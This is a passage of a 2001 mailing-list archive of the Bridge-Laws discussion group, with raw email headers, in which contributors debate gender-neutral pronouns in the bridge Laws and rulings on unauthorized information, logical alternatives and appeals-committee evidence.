I too wish "on" would transliterate; the absense of its equivalent is one of the weaknesses of English. Perhaps we could find a neutral (not sexless) contruct and by agenda and use transform it as much as the word gay seems to have been in recent decades. But to collapse the plural into the singular only degrades the expressiveness and clarity of communication in English...for all women (and others who think). Craig -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 08:48:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BLjnv16099 for bridge-laws-outgoing; Fri, 12 Jan 2001 08:45:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BLjht16069 for ; Fri, 12 Jan 2001 08:45:44 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id IAA10589 for ; Fri, 12 Jan 2001 08:38:35 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Fri, 12 Jan 2001 08:39:39 +0000 (EST) Subject: Re: [BLML] Bad Language To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Fri, 12 Jan 2001 08:44:35 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 12/01/2001 08:44:45 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: [snip] >Well, I didn't actually look at the Laws; >I just wrote under the reasonable >assumption that problems would be very >likely. So when I saw your response, I >brought up my Laws file, went to the >beginning Law 1, and did a forward search >for the word "he". Here's the very first >thing I found: > > LAW 3 - ARRANGEMENT OF TABLES > Four players play at each table, and > tables are numbered in a sequence > established by the Director. He > designates one direction as North; > other compass directions assume the > normal relationship to North. > >Now see what would happen if "he" were >changed to "they". > > -- Adam This Law is by itself a specious reason for retaining a sexist pronoun. Simply change *He* to *The Director*. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 09:17:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BMDC920759 for bridge-laws-outgoing; Fri, 12 Jan 2001 09:13:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BMD6t20755 for ; Fri, 12 Jan 2001 09:13:06 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0BMCrf71486 for ; Thu, 11 Jan 2001 17:12:54 -0500 (EST) Message-Id: <4.3.2.7.1.20010111170953.00a90da0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 11 Jan 2001 17:14:16 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Bad Language In-Reply-To: <200101111730.JAA20348@mailhub.irvine.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:30 PM 1/11/01, Adam wrote: >Marvin French wrote: > > > Adam Beneschan wrote: > > > > Some thoughts: > > > > > > (1) Since bridge is a partnership game, there are many occasions > where > > > the Laws refer to both members of a partnership, which naturally > > > requires use of the third person plural. To use the plural also > > > to refer to a single player would undoubtedly make the Laws more > > > confusing. > > > > Please cite some of these Laws, so we can see what you mean. > >Well, I didn't actually look at the Laws; I just wrote under the >reasonable assumption that problems would be very likely. So when I >saw your response, I brought up my Laws file, went to the beginning >Law 1, and did a forward search for the word "he". Here's the very >first thing I found: > > LAW 3 - ARRANGEMENT OF TABLES > Four players play at each table, and tables are numbered in a sequence > established by the Director. He designates one direction as North; > other compass directions assume the normal relationship to North. > >Now see what would happen if "he" were changed to "they". I don't think anyone is suggesting that all the "he"s in the laws be globally replaced by "they"s using some word processor without the results being read by a human. Of course there may be cases where simply changing the pronoun could lead to ambiguity and require some minor rewriting, but few if any of those rewrites should be more than minimal. For example, change "...by the Director. He designates..." to "...by the Director, who designates..." Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 09:45:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BMgZx20802 for bridge-laws-outgoing; Fri, 12 Jan 2001 09:42:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from protactinium ([194.73.73.176]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BMgUt20798 for ; Fri, 12 Jan 2001 09:42:30 +1100 (EST) Received: from [213.1.153.237] (helo=pbncomputer) by protactinium with smtp (Exim 3.03 #83) id 14GqQ0-0001JX-00 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 22:42:04 +0000 Message-ID: <000901c07c1f$bd4c52a0$ed9901d5@pbncomputer> From: "David Burn" To: References: <200101092349030800.0321272A@mail.earthlink.net> <004901c07b2b$2a675880$56991e18@san.rr.com> <01ae01c07c07$c75f49e0$56991e18@san.rr.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 22:41:25 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv wrote: > Get the delete key ready, David Burn and Craig Senior! I? Not the least in the world. I am actually more or less resigned to the fact that "they" will, in time, become the accepted third person singular genderless pronoun in English. Nor do I mind, very much. > > >"I had a friend over for dinner last night, and they didn't leave until one in > > >the morning." > Perhaps an Americanism, I hear it all the time. It is a useful device > when one does not wish to draw attention to the sex of the person > involved, or when the sex is unknown. The quote was not a fiction, but the words > of an American English teacher who says things like "It is I," causing > people to suppose that she was born elsewhere and learned English in > school. > The listener will assume the guest was male and, noting the neutering > "they," will understand that his maleness played no role in the evening, Not necessarily the inference I would draw. Rather, I would conclude that the individual in question had, in eminently pragmatic fashion, side-stepped the issue of still having to respect the lady in the morning. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 10:39:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BNUWM20889 for bridge-laws-outgoing; Fri, 12 Jan 2001 10:30:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BNULt20877 for ; Fri, 12 Jan 2001 10:30:22 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0BNUDu08412 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 23:30:13 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 11 Jan 2001 23:30 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: RE: [BLML] Equity or simplicity? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <3.0.6.32.20010108093616.00814100@pop.ulb.ac.be> AG wrote: > That pass is, on average, inferior to double (at least playing pairs) is > irrelevant. Not really. If a) Pass is significantly inferior to double b) The player indicated that he was aware of this fact c) The player is not in a situation "requiring swings" Then it would not be logical to pass. We would not expect anyone who meets a) to c) to pass. > A LA might perhaps be defined as an alternative bid that could in some > cases be the winner (pass is clearly, here, but 2 of any suit isn't). In almost any situation an alternative bid could in some cases be the winner. Eg you could pass out 4H on a slam going hand because the slam "might go off due to two unbid 7-0 splits and a cross ruff." To be an LA the bid must surely carry some reasonable expectation of having a comparatively successful outcome. > The theory behind this is that the tempo will change the odds of it > being right. But that is only relevant if the change in expected odds is significant. So what if double is 70% likely to be right without the hesitation and 90% likely to be right with it. Who would willingly choose an action when they know the alternative is more than twice as good (assuming the scale of the possible upside is similar to the scale of the possible downside). Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 10:39:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BNUXY20890 for bridge-laws-outgoing; Fri, 12 Jan 2001 10:30:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BNUMt20878 for ; Fri, 12 Jan 2001 10:30:22 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0BNUEV08428 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 23:30:14 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 11 Jan 2001 23:30 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: RE: [BLML] Equity or simplicity? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <3.0.32.20010103233949.0072d820@pullman.com> "N. Scott Cardell" wrote: > > If the question is what the laws should be, then: > 2) UI and MI that occur in the ordinary course of the game (such as > because, in this thinking game someone actually paused for thought) > should be dealt with in a way that as much as possible restores equity > and avoids adjudicated results. The long slippery slope that the bridge > laws have plunged down in dealing with UI and MI is an abysmal failure. > > I suggest the following change to the laws: > > 1) Institute a statute of limitations on changing the contract due to a > hesitation in the bidding. The statute of limitation should end when > the opening lead is made. No more calling the director after the hand > has been played, or even after the play has begun. I see at least ten auctions a week where one of the opponents makes significant UI available to his opponent (eg marked hesitations which clearly suggest a particular action). Throughout last year I saw about 10 *in total* where I thought the partners had failed to "avoid taking advantage", a judgement I could only make on seeing their hands. In precisely 4 of these I felt sufficiently damaged to request an adjustment. 4 adjustments received. Changing the "statute of limitations" as you suggest would increase my number of director calls from 4 to perhaps 400. I am lucky enough to play in a club where the ethical standards, and awareness of obligations, are very high on the whole. It is also money rubber so if opponents go for 400 (x-2 vul with 100 honours) against my 450 I won't feel damaged. In the light of this perhaps the difference between 4 and 400 director calls is extreme. But a change from 50 to 150 is well within the bounds of possibility. > 2) When the director is called prior to the opening lead and decides > that there has been an infraction, then director must propose the final > contract that should have been reached without the UI (or MI). In all but gross abuse cases a good quality director's ruling requires several minutes thought/consultation. So either the game is slowed considerably or the director effectively tells the players "the action is blindingly obvious". This information may be significant in the play. Tim West-Meads. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 10:39:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0BNUYi20891 for bridge-laws-outgoing; Fri, 12 Jan 2001 10:30:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0BNUMt20879 for ; Fri, 12 Jan 2001 10:30:23 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0BNUFk08441 for bridge-laws@rgb.anu.edu.au; Thu, 11 Jan 2001 23:30:15 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Thu, 11 Jan 2001 23:30 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] self-serving ? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <004501c07aed$92bd6f20$5e1c073e@pbncomputer> DB wrote: > > DWS wrote: > > > >Not really. If that happened, then rulings would depend on the > > >persuasiveness of the appellants and the gullibility of the director > > >or appeals committee. This should not happen, which is why only > > >statements that can be objectively corroborated should be admitted as > > >evidence. > > >If we have TDs deciding whether or not to accept statements at face > > >value on the basis of no evidence, then we will have no hope of > > >having the Laws administered with any kind of fairness or > > >consistency. > > > > But this is not no evidence: the evidence is there, but you are > > saying it is inadequate. > > I think some terminological confusion may have crept in. If a player > says: "I would always bid X in situation Y with hand Z", this is not > "evidence". It is testimony. If he can show that either: his system > requires him to bid X; or in previous situations sufficiently close to Y > with a hand sufficiently close to Z he has indeed bid X, then there is > evidence to support his testimony. The confusion is understandable, for > the word "evidence" is used in a legal sense to mean "anything that a > witness says". ACs are not usually constituted to call witnesses (who are probably already home in bed/too pissed to talk). So it is likely to be *testimony* that "in previous situations sufficiently close to Y with a hand sufficiently close to Z he has indeed bid X" rather than evidence. > But a witness in court has taken an oath to tell the > truth - this is not required in an appeals committee. While the Oath is not required I do not think the expectation of truthfulness differs. Indeed I would expect an AC which found an appellant/witness to be deliberately lying to refer such a person to a C&E committee in much the way a judge would recommend a perjurer for trial (unfortunately a C&E committee is unlikely to have a custodial sentence at its disposal). Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 12:40:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C1bRw29034 for bridge-laws-outgoing; Fri, 12 Jan 2001 12:37:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C1bLt29003 for ; Fri, 12 Jan 2001 12:37:22 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 11 Jan 2001 17:34:12 -0800 Message-ID: <01ec01c07c38$295ac040$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01C07BE9.F62FD460@user-2ive4ar.dialup.mindspring.com> Subject: Re: [BLML] Bad Language Date: Thu, 11 Jan 2001 17:31:03 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Craig Senior" > > Clarity is achieved in the matter of pronouns perfectly easily: use he > or his for one person, they or their for more than one. > > But many people have other agendas, and clarity comes behind such > things as invented sexism. > -- > David Stevenson Liverpool, England, UK > > Hear Hear!! Unlike some other fine minds, David has clearly noted the > dishabile of the Emperor. Allusions are tricky. I believe the Emperor had no clothes at all. >I have not been in more thorough agreement since > we noted the true start of the millenium. I am glad to see that Craig, despite his conservatism in the grammar area, is in favor of spelling reform. :)) Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 12:58:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C1t3S05239 for bridge-laws-outgoing; Fri, 12 Jan 2001 12:55:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C1swt05209 for ; Fri, 12 Jan 2001 12:54:58 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id MAA03689 for ; Fri, 12 Jan 2001 12:47:49 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Fri, 12 Jan 2001 12:48:52 +0000 (EST) Subject: Re: [BLML] What is suggested ? To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Fri, 12 Jan 2001 12:06:54 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 12/01/2001 12:53:59 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain wrote: [snip] >An occasional teammate of mine has >the well-established reputation always >to hold the Queen of Spades when it >matters. It would seem irrational to >state it, but the facts are there ... >So, it has occasionally happened that I >decided whom to play for said Queen by >looking at which place he occupies. I >never went wrong. > >Our local group exchanged a long thread >on the subject of whether this was AI or >UI. The consensus was eventually reached, >that any information that is available to >all players is AI, thus this was. It is, >however, clearly extraneous information >(gathered from other sources that those >listed in the Laws and their addendum). [snip] Ernst Theimer wrote a biography of the famous Australian bridge champion, Androcles MacThick. The first chapter was entitled *A Club To A-void*. In it, Theimer related how Androcles visited a small Irish duplicate bridge club, and played in a walk-in Mitchell movement. However, MacThick's North opponent was always void in clubs. Armed with this AI or UI about the distribution, Androcles was able to achieve some spectacular coups as declarer and defender. A more practical example of AI or UI, which was available to the whole field, occurred over a decade ago, when computer-generated hands were introduced for the first time to an Australian National Championship. However, the computer algorithm was faulty, resulting in an excessive number of singleton honours. Astute players therefore had little difficulty in dropping bare kings offside, letting blank aces beat air, or going for a virtually guaranteed principle of restricted choice. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:29:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2TTJ14832 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:29:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2T5t14736 for ; Fri, 12 Jan 2001 13:29:06 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14GtxZ-0000Pj-0C for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 02:28:58 +0000 Message-ID: Date: Fri, 12 Jan 2001 00:44:37 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim West-meads writes >In-Reply-To: <000801c07322$d161be20$262a01d5@dodona> >Grattan wrote: >> > > >> > > 1. Seeking redress for UI based on a legalistic definition of LA >> > > when you know that the particular player involved really would >> > > always take the action in question. >> > >> > This means you think the particular player had no LA. Since you >> > have no "substantial reason to believe that an opponent who had a >> > logical alternative" etc under L16 you should not be calling the >> > director - thus this is illegal. >> > >> +=+ I think a distinction should be made as between >> system and style in this context. Where system >> demands a given call no problem, but if it is said >> the individual player's style would cause him to >> make it the case is more difficult. Style is subjective >> and only the player himself can speak to it with >> assurance; the normal requirement is to judge by >> reference to what his peers would do if playing the >> same system and I do not believe there is an onus >> on Directors or ACs to make subjective judgements >> as to style. The term 'logical alternative' is not >> attached in the laws to the style of the individual >> but to objective standards. ~ Grattan ~ +=+ > >I had always understood that "peers" referred to "those of similar system, >ability, and *style*" (not in the laws but DWS might be able to enlighten >as I think he quoted to me from somewhere). I made up the quote and tested it here and at the EBU panel TD weekend. Both seemed to think it fair enough. > I think there is an onus on >the TD/AC to try and take style into consideration although also an >acknowledgement that getting it right is pretty damn difficult. However, >in the above situation we were talking about a very specific situation >where player B is so familiar with player A's style that he *knows* a >particular bid is not an LA for A. For player B to call the TD in the >hope that the TD is less familiar with player A and might therefore give a >favourable adjustment is, IMO, illegal. Asking for a ruling when you know you have not been damaged is not legal. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:29:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2TQ114814 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:29:26 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2T2t14716 for ; Fri, 12 Jan 2001 13:29:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14GtxZ-000BcH-0B for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 02:28:57 +0000 Message-ID: Date: Fri, 12 Jan 2001 00:41:03 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: <3.0.32.20010101131330.0070622c@pullman.com> In-Reply-To: <3.0.32.20010101131330.0070622c@pullman.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk N. Scott Cardell writes >At 12:55 PM 12/29/00 +0000, you wrote: >>"N. Scott Cardell" >>> When Adam Wildavsky writes: >>> 2. Giving explanations that meet the legal requirements but are >>> designed to leave the questioner uncertain as to key aspects of the bid >>> and then if they question you further call the director and seek redress >>> for UI because they quizzed you. (The most common example of this >>> occurs with artificial raises. For example: >>> 1S P 3D(alert) Meaning? 10-11 points with four trumps. >>This is not full explanation (see L20/75). If you are deliberately trying >>to give less than full explanations you are acting illegally. >Again this response seems to be Philadelphia lawyering IMHO. Perhaps "a >spade raise with 10-11 points and 4 card spade support" would be better. >But the point is that, at least in my experience, the complete explanation >is not required to include "says nothing about diamonds." Why not? This is a game of full disclosure, and that means you *explain* your methods to oppos. Oppos who do not realise that 3D does not show diamonds and have not been told that have not been fully informed. >>> 3. Seeking redress for MI when you know that the MI had no effect. >>The director is called (compulsory in MI situations) and asks you how it >>might have affected you - you say "It didn't" - no adjustment. Or you lie >>to the TD - a very serious breach of L74. >Again, I was not suggesting that it was legal to lie, only that it could be >legal to keep silent. For example, the MI did affect your bid, but you >know that the opponents would have reached the same contract anyway, >because you know their style. Or perhaps you aren't asked and fail to >volunteer that you (or your partner) would later have "corrected" to the >same doomed contract. A competent TD asks a player how he has been damaged. If he says that he has when he knows he has not because the bidding would have reached the same place then he is lying. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:29:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2TSE14822 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:29:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2T3t14719 for ; Fri, 12 Jan 2001 13:29:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14GtxZ-000OZ6-0A for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 02:28:59 +0000 Message-ID: Date: Fri, 12 Jan 2001 01:11:08 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] self-serving ? References: <000e01c071b0$372617c0$0718073e@pbncomputer> <3PPHxaAmL8W6EwGd@blakjak.demon.co.uk> <004501c07aed$92bd6f20$5e1c073e@pbncomputer> In-Reply-To: <004501c07aed$92bd6f20$5e1c073e@pbncomputer> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn writes >DWS wrote: > >> >Not really. If that happened, then rulings would depend on the >> >persuasiveness of the appellants and the gullibility of the director >or >> >appeals committee. This should not happen, which is why only >statements >> >that can be objectively corroborated should be admitted as evidence. >If >> >we have TDs deciding whether or not to accept statements at face >value >> >on the basis of no evidence, then we will have no hope of having the >> >Laws administered with any kind of fairness or consistency. >> >> But this is not no evidence: the evidence is there, but you are >saying >> it is inadequate. > >I think some terminological confusion may have crept in. If a player >says: "I would always bid X in situation Y with hand Z", this is not >"evidence". It is testimony. If he can show that either: his system >requires him to bid X; or in previous situations sufficiently close to Y >with a hand sufficiently close to Z he has indeed bid X, then there is >evidence to support his testimony. The confusion is understandable, for >the word "evidence" is used in a legal sense to mean "anything that a >witness says". But a witness in court has taken an oath to tell the >truth - this is not required in an appeals committee. In simple terms, >"evidence" is that which is evident, defined (by Chambers) as: that >which can be seen, clear to the mind, obvious. A statement such as "I >would always do X" is none of those things, unless it can be objectively >substantiated. When I use evidence I mean what the normal person understands by evidence, and my dictionary agrees with me, perhaps surprisingly. Of course, it is jolly good fun to explain why my command of English is imperfect, but why should I give a damn? You have been arguing in the other direction in a number of threads recently. You suggest we could do with consistency in the Laws: I suggest we could do with consistency on whether we allow normal usage in the English language. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 12 13:29:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0C2TI414787 for bridge-laws-outgoing; Fri, 12 Jan 2001 13:29:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0C2T2t14718 for ; Fri, 12 Jan 2001 13:29:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14GtxZ-000OZ5-0A for bridge-laws@rgb.anu.edu.au; Fri, 12 Jan 2001 02:28:59 +0000 Message-ID: Date: Fri, 12 Jan 2001 01:04:28 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Annoyingly irregular References: 